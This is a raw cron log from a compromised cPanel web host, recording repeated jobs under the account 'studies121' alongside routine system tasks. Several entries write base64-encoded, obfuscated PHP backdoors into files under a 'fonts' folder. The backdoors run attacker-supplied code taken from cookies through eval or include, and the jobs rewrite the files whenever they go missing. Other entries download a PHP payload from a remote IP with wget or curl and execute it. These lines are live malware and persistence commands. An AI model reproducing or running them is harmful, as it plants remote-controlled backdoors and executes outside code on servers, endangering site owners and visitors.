Sep  4 20:04:02 ip-184-168-122-23 CROND[13891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:04:02 ip-184-168-122-23 CROND[13892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:04:02 ip-184-168-122-23 CROND[13893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:05:01 ip-184-168-122-23 CROND[13997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:05:01 ip-184-168-122-23 CROND[13998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:05:01 ip-184-168-122-23 CROND[14002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:05:01 ip-184-168-122-23 CROND[14001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:05:01 ip-184-168-122-23 CROND[14004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:05:01 ip-184-168-122-23 CROND[14006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:05:01 ip-184-168-122-23 CROND[14007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:06:01 ip-184-168-122-23 CROND[14182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:06:01 ip-184-168-122-23 CROND[14183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:06:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:06:01 ip-184-168-122-23 CROND[14186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:06:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:07:01 ip-184-168-122-23 CROND[14271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:07:01 ip-184-168-122-23 CROND[14270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:07:01 ip-184-168-122-23 CROND[14272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:07:01 ip-184-168-122-23 CROND[14273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:08:01 ip-184-168-122-23 CROND[14365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:08:01 ip-184-168-122-23 CROND[14366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:08:01 ip-184-168-122-23 CROND[14369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:08:01 ip-184-168-122-23 CROND[14367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:08:01 ip-184-168-122-23 CROND[14371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:09:01 ip-184-168-122-23 CROND[14461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:09:01 ip-184-168-122-23 CROND[14464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:09:01 ip-184-168-122-23 CROND[14463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:09:01 ip-184-168-122-23 CROND[14466]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 20:09:01 ip-184-168-122-23 CROND[14465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:10:01 ip-184-168-122-23 CROND[14557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:10:01 ip-184-168-122-23 CROND[14560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:10:01 ip-184-168-122-23 CROND[14562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:10:01 ip-184-168-122-23 CROND[14564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:10:01 ip-184-168-122-23 CROND[14565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:10:01 ip-184-168-122-23 CROND[14566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:10:01 ip-184-168-122-23 CROND[14567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:10:01 ip-184-168-122-23 CROND[14569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:11:01 ip-184-168-122-23 CROND[14745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:11:01 ip-184-168-122-23 CROND[14746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:11:01 ip-184-168-122-23 CROND[14747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:11:01 ip-184-168-122-23 CROND[14744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:12:01 ip-184-168-122-23 CROND[14846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:12:01 ip-184-168-122-23 CROND[14848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:12:01 ip-184-168-122-23 CROND[14850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:12:01 ip-184-168-122-23 CROND[14849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:12:01 ip-184-168-122-23 CROND[14847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:13:01 ip-184-168-122-23 CROND[14939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:13:01 ip-184-168-122-23 CROND[14941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:13:01 ip-184-168-122-23 CROND[14940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:13:01 ip-184-168-122-23 CROND[14943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:14:01 ip-184-168-122-23 CROND[15024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:14:01 ip-184-168-122-23 CROND[15025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:14:01 ip-184-168-122-23 CROND[15027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:14:01 ip-184-168-122-23 CROND[15026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:14:01 ip-184-168-122-23 CROND[15030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15121]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:15:01 ip-184-168-122-23 CROND[15120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:16:01 ip-184-168-122-23 CROND[15220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:16:01 ip-184-168-122-23 CROND[15221]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:16:01 ip-184-168-122-23 CROND[15224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:16:01 ip-184-168-122-23 CROND[15222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:16:01 ip-184-168-122-23 CROND[15223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
